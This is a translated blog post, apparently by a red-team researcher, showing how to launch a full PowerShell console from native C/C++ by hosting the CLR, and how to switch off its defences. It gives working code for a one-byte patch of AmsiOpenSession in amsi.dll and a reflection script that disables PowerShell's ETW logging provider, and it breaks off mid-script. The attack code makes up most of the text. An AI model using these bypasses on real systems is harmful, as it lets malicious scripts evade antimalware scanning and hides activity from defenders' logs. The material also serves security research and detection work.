用C/C++重构PowerShell | itm4n的博客
Posted Feb 18, 2025
By itm4n
26 min read
目录
用C/C++重构PowerShell
我喜欢PowerShell,非常喜欢!我喜欢它的多功能性、易用性、与Windows操作系统的集成,但它也有一些功能,如AMSI、CLM和其他日志记录功能,会减慢它的速度。你知道,我考虑的是性能提升。我相信没有这些功能,我的脚本可以运行得更快。
开个玩笑,我知道围绕这个主题已经做了很多工作,但我想以与现有项目略有不同的方式来处理这个问题。因此,我研究了一种仅使用原生代码实例化完整PowerShell控制台的方法,这同时允许我进行一些“清理”。
为什么?
在过去10年(也许更久)中,不使用powershell.exe执行PowerShell脚本是一个被广泛覆盖的主题。那么,为什么还要重新发明轮子,或者更确切地说,在这种情况下重新发明PowerShell呢?
老实说,我在这里要分享的工作并没有什么突破性的。我使用的几乎所有技术都已经在不同的文章和工具中讨论或实现过。
主要问题是这些工具通常一次只关注一两个安全功能,例如反恶意软件扫描接口(AMSI)或约束语言模式(CLM),并且大多是用C#实现的。为此使用.NET可能是个问题,因为自4.8版本以来,AMSI也集成在框架中,这增加了一层潜在的检测。
尽管如此,也有反例。例如,Invisi-Shell是用C/C++实现的,并全面修补了所有已知的安全功能。为此,它注册了一个CLR分析器DLL,并在一些函数上设置钩子以动态修补它们。
然而,我想用一种更直接的方法来解决这个问题,尽管只使用原生代码,这样我就可以修补任何我想要的函数,而无需额外的AMSI层。虽然我最初打算只发布一个工具,但一位队友说服我,这是一个回顾不同PowerShell安全功能的好机会,也可以分享一些关于我思考过程的见解。所以,事不宜迟,让我们直接开始吧!
使用原生代码启动PowerShell
在考虑绕过任何安全功能之前,我想回答的第一个问题是“仅使用C/C++创建完整的PowerShell控制台有多容易?”。结果答案超级简单,或者我敢说“微不足道”。你只需要这样做。
1
2
3
|
int main() {
WinExec("powershell.exe", SW_SHOWNORMAL);
}
|
这足够简单。这个项目进展很快!……好吧,我在开玩笑,这不是我真正想要的。
我这个项目的最初灵感来自GitHub上的以下概念验证:bypass-clm。我在几种情况下使用它来绕过PowerShell的约束语言模式(稍后会详细介绍)。
1
2
3
4
5
6
7
|
// https://github.com/calebstewart/bypass-clm/blob/master/bypass-clm/Program.cs
Microsoft.PowerShell.ConsoleShell.Start(
System.Management.Automation.Runspaces.RunspaceConfiguration.Create(),
"Banner",
"Help",
new string[] { "-exec", "bypass", "-nop" }
);
|
它使用Microsoft.PowerShell.ConsoleShell.Start方法创建一个实际的PowerShell控制台,而不是像其他一些工具那样模拟它。因此,你可以使用自动完成、命令历史记录,甚至CTRL+C,就像在典型的powershell.exe窗口中一样。
执行“bypass-clm”PoC
但等等,那是C#代码,不是原生代码!我们才刚刚开始,我就已经抛弃了我最初的约束。除非……
如果你是一名渗透测试员、红队成员或类似人员,你可能已经使用过PowerShell脚本或.NET可执行文件,这些文件利用了一个称为平台调用(P/Invoke)的功能来执行非托管代码,也许没有意识到这一点。提醒一下,PowerShell是一个基于.NET构建的跨平台命令shell,而.NET是一个产生托管代码(中间语言)的框架,需要由公共语言运行时(CLR)解释,这与用C/C++编写的应用程序相反,后者执行非托管代码,因此可以在没有额外依赖的情况下运行。
托管应用程序VS原生应用程序
由于红队技术在过去几年中大规模转向.NET,从托管应用程序执行非托管代码非常常见,因为归根结底,你仍然希望能够访问Windows API,甚至更低级别的系统调用。然而,一个较少为人知的事实是,它也可以反过来工作。确实,Microsoft提供了接口,使非托管应用程序能够集成CLR,从而执行托管代码。这个过程更加复杂,但它是可行的。
同样,这并不新鲜,它已经在许多攻击工具中使用。以下是一些例子。
- UnmanagedPowerShell by @tifkin_
- loadDotNetAssemblyFromMemory.cpp by @Arno0x
- BetterNetLoader by @racoten
下面是从用C/C++编写的原生应用程序初始化CLR通常使用的代码。这是其余代码的基础构建块,因为它将用于加载额外的程序集、实例化对象和调用方法。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
int main() {
ICLRMetaHost* pMetaHost = NULL;
ICLRRuntimeInfo* pRuntimeInfo = NULL;
ICorRuntimeHost* pRuntimeHost = NULL;
IUnknown* pAppDomainThunk = NULL;
BOOL bIsLoadable;
mscorlib::_AppDomain* pAppDomain = NULL;
CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, reinterpret_cast<PVOID*>(&pMetaHost));
pMetaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, reinterpret_cast<PVOID*>(&pRuntimeInfo));
pRuntimeInfo->IsLoadable(&bIsLoadable);
pRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, reinterpret_cast<PVOID*>(&pRuntimeHost));
pRuntimeHost->Start();
pRuntimeHost->CreateDomain(APP_DOMAIN, nullptr, &pAppDomainThunk);
pAppDomainThunk->QueryInterface(IID_PPV_ARGS(&pAppDomain));
// 使用应用程序域加载程序集并执行托管代码...
}
|
一旦CLR加载,我们就可以开始导入额外的程序集并执行托管代码。计划是将ConsoleShell.Start()方法调用分解为两部分。
- 调用System.Management.Automation.Runspaces.RunspaceConfiguration.Create()创建一个新的RunspaceConfiguration对象。
- 调用Microsoft.PowerShell.ConsoleShell.Start()创建PowerShell控制台。
这两个步骤的概念非常相似。想法是首先确保包含目标类的程序集已加载。然后,可以查询类及其方法。最后,可以调用目标方法。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
BOOL CreateInitialRunspaceConfiguration(
mscorlib::_AppDomain* pAppDomain,
VARIANT* pvtRunspaceConfiguration
) {
// ...
BSTR bstrRunspaceConfigurationFullName = SysAllocString(L"System.Management.Automation.Runspaces.RunspaceConfiguration");
BSTR bstrRunspaceConfigurationName = SysAllocString(L"RunspaceConfiguration");
SAFEARRAY* pRunspaceConfigurationMethods = NULL;
VARIANT vtEmpty = { 0 };
VARIANT vtResult = { 0 };
mscorlib::_Assembly* pAutomationAssembly = NULL;
mscorlib::_Type* pRunspaceConfigurationType = NULL;
mscorlib::_MethodInfo* pCreateInfo = NULL;
// 加载包含'RunspaceConfiguration'类的程序集System.Management.Automation.dll。
LoadAssembly(pAppDomain, ASSEMBLY_NAME_SYSTEM_MANAGEMENT_AUTOMATION, &pAutomationAssembly)
// 使用程序集查询'RunspaceConfiguration'类型。
pAutomationAssembly->GetType_2(bstrRunspaceConfigurationFullName, &pRunspaceConfigurationType);
// 使用'RunspaceConfiguration'类型列出类的方法。
pRunspaceConfigurationType->GetMethods(
static_cast<mscorlib::BindingFlags>(
mscorlib::BindingFlags::BindingFlags_Static |
mscorlib::BindingFlags::BindingFlags_Public
),
&pRunspaceConfigurationMethods
);
// 辅助函数在列表中查找'Create'方法。
FindMethodInArray(pRunspaceConfigurationMethods, L"Create", 0, &pCreateInfo);
// 调用'Create'方法。
pCreateInfo->Invoke_3(
vtEmpty, // 对象实例为空,因为我们调用静态方法。
NULL, // 参数列表为null,因为"Create"不接受任何参数。
&vtResult // 操作结果。它包含对创建对象的引用。
);
memcpy_s(pvtRunspaceConfiguration, sizeof(*pvtRunspaceConfiguration), &vtResult, sizeof(vtResult));
// 清理并返回...
}
|
在RunspaceConfiguration.Create()方法调用的情况下,过程相当简单,因为该方法是静态的,所以不需要创建类的实例。然而,由于所有不常见的类型,如BSTR、VARIANT、SAFEARRAY,在这里操作,起初可能看起来很复杂,但在处理组件对象模型(COM)时,这些类型却很常见。
如前所述,ConsoleShell.Start()的过程非常相似。唯一的区别是我们需要准备一个SAFEARRAY参数来传递对我们的RunspaceConfiguration实例的引用、横幅文本和一个可选的参数列表。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
|
BOOL StartConsoleShell(
mscorlib::_AppDomain* pAppDomain,
VARIANT* pvtRunspaceConfiguration,
LPCWSTR pwszBanner,
LPCWSTR pwszHelp,
LPCWSTR* ppwszArguments,
DWORD dwArgumentCount
) {
// ...
BSTR bstrConsoleShellFullName = SysAllocString(L"Microsoft.PowerShell.ConsoleShell");
BSTR bstrConsoleShellName = SysAllocString(L"ConsoleShell");
BSTR bstrConsoleShellMethodName = SysAllocString(L"Start");
VARIANT vtEmpty = { 0 };
VARIANT vtResult = { 0 };
VARIANT vtBannerText = { 0 };
VARIANT vtHelpText = { 0 };
VARIANT vtArguments = { 0 };
SAFEARRAY* pStartArguments = NULL;
mscorlib::_MethodInfo* pStartMethodInfo = NULL;
// ...
// 加载程序集,获取类型信息,获取方法信息...
InitVariantFromString(pwszBanner, &vtBannerText);
InitVariantFromString(pwszHelp, &vtHelpText);
InitVariantFromStringArray(ppwszArguments, dwArgumentCount, &vtArguments);
pStartArguments = SafeArrayCreateVector(VT_VARIANT, 0, 4);
lArgumentIndex = 0;
hr = SafeArrayPutElement(pStartArguments, &lArgumentIndex, pvtRunspaceConfiguration);
lArgumentIndex = 1;
hr = SafeArrayPutElement(pStartArguments, &lArgumentIndex, &vtBannerText);
lArgumentIndex = 2;
hr = SafeArrayPutElement(pStartArguments, &lArgumentIndex, &vtHelpText);
lArgumentIndex = 3;
hr = SafeArrayPutElement(pStartArguments, &lArgumentIndex, &vtArguments);
pStartMethodInfo->Invoke_3(vtEmpty, pStartArguments, &vtResult);
// 清理并返回...
}
|
最后,我们可以通过链接所有先前的辅助函数将所有内容放在一起。总而言之,重新实现我开头提到的单行C#代码在C/C++中大约需要500行代码!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
void StartPowerShell()
{
mscorlib::_AppDomain* pAppDomain = NULL;
CLR_CONTEXT cc = { 0 };
VARIANT vtInitialRunspaceConfiguration = { 0 };
LPCWSTR pwszBannerText = L"Windows PowerChell\nCopyright (C) Microsoft Corporation. All rights reserved.";
LPCWSTR pwszHelpText = L"Help message";
LPCWSTR ppwszArguments[] = { NULL };
InitializeCommonLanguageRuntime(&cc, &pAppDomain);
// System.Management.Automation.Runspaces.RunspaceConfiguration.Create()
CreateInitialRunspaceConfiguration(pAppDomain, &vtInitialRunspaceConfiguration);
// Microsoft.PowerShell.ConsoleShell.Start()
StartConsoleShell(pAppDomain, &vtInitialRunspaceConfiguration, pwszBannerText, pwszHelpText, ppwszArguments, ARRAYSIZE(ppwszArguments));
DestroyCommonLanguageRuntime(&cc, pAppDomain);
}
|
从原生应用程序创建PowerShell控制台
现在我们有一种方法可以从原生应用程序手动创建PowerShell控制台,我们可以利用这一点来操纵CLR,并修补一些函数以禁用其所有安全功能。
反恶意软件扫描接口(AMSI)
我想解决的第一个安全功能是反恶意软件扫描接口。我相信你已经非常熟悉这种保护。它集成在PowerShell和.NET中,仅仅包括扫描用户代码以根据一组检测规则识别潜在的恶意字符串或字节序列。
在实现任何绕过之前,我们应该建立一个标记来检查保护是否处于活动状态。在AMSI的情况下,我们知道默认情况下会检测字符串Invoke-Mimikatz,但端点检测和响应(EDR)代理可能带有额外的检测规则。
AMSI对字符串“Invoke-Mimikatz”的检测
我在这里选择的绕过技术完全是任意的。它是在脚本Nuke-AMSI.ps1中实现的。它包括对amsi.dll中的函数AmsiOpenSession进行单字节修补。
1
2
3
4
5
6
7
8
|
test rdx,rdx
je 0x11 ; ----+ 用jmp修补
test rcx,rcx ; |
je 0x11 ; |
cmp QWORD PTR [rcx+0x8],0x0 ; |
jne 0x18 ; |
mov eax,0x80070057 ; <---+
ret
|
它将第二行的条件跳转JE(或JZ)替换为基本的JMP,以将执行流重定向到MOV EAX,0x80070057; RET,这导致函数系统地返回错误代码0x80070057(即“无效参数”)。
这个补丁在我们的原生应用程序中很容易实现,因为目标代码是非托管的,所以我们只需要获取模块amsi.dll的基地址,获取函数AmsiOpenSession的地址,并将偏移量3处(跳过第一个TEST指令)的字节0x74(JE或JZ)替换为值0xeb(JMP)。
1
2
3
4
5
6
7
8
|
BOOL PatchAmsiOpenSession() {
BYTE bPatch[] = { 0xeb };
HMODULE hModule = GetModuleHandleW(pwszModuleName);
FARPROC pProcedure = GetProcAddress(hModule, pszProcedureName);
VirtualProtectEx(GetCurrentProcess(), pProcedure, 1, PAGE_EXECUTE_READWRITE, &dwOldProtect);
memcpy_s(pProcedure, 1, bPatch, 1);
VirtualProtectEx(GetCurrentProcess(), pProcedure, 1, dwOldProtect, &dwOldProtect);
}
|
就这样,一个保护被解决了!命令Invoke-Mimikatz不再被AMSI阻止。PowerShell只是抱怨它不存在。
AMSI绕过测试
脚本块和模块日志记录
PowerShell日志记录分为两类:模块日志记录和脚本块日志记录。当启用时,PowerShell记录由解释器处理的命令和脚本块的内容。
这些日志记录功能可以通过在计算机配置>管理模板>Windows组件>Windows PowerShell下配置以下组策略来启用。
通过本地组策略启用的PowerShell日志记录功能
下面的屏幕截图显示了一个脚本块日志记录事件(ID 4104)的示例,其中包含在解释器中执行的命令内容。
PowerShell事件日志示例
我在这里选择的绕过技术是在脚本KillETW.ps1中实现的,但在我们深入研究之前,我认为提供一些背景很重要,否则可能很难立即理解它。
首先,PowerShell日志记录(毫不奇怪)依赖于Windows事件跟踪(ETW),因此我们可以修补低级系统调用,如NtTraceEvent或EtwWriteEvent,但这非常具有侵入性,EDR代理往往不喜欢这种恶作剧。
幸运的是,如果你不知道,PowerShell是一个开源项目,所以我们可以在GitHub上浏览其源代码:https://github.com/PowerShell/PowerShell。我们特别感兴趣的是PSEtwLogProvider类,它有一个etwProvider属性,类型为EventProvider。
PSEtwLogProvider类的源代码
EventProvider类有一个名为m_enabled的属性,顾名思义,它决定提供程序是否启用。
EventProvider类的源代码
因此,通过将此属性设置为0,我们可以禁用PowerShell ETW提供程序,从而阻止所有事件日志。这是由脚本KillETW.ps1通过一个相当长的一行代码实现的,我冒昧地将其分解为5个步骤,使其更易读。
1
2
3
4
5
6
7
8
9
|
# 获取"EventProvider"类型
$EventProviderType = [Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider')
# 获取"EventProvider"的字段"m_enabled"
$EtwEnabledField = $EventProviderType.GetField('m_enabled','NonPublic,Instance')
# 获取"PSEtwLogProvider"类型
$PSEtwLogProviderType = [Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider')
# 获取"PSEtwLogProvider"的字段"etwProvider"
$EtwProvider = $PSEtwLogProviderType.GetField('etwProvider','NonPublic,Static').GetValue($null)
# 将"m_en
|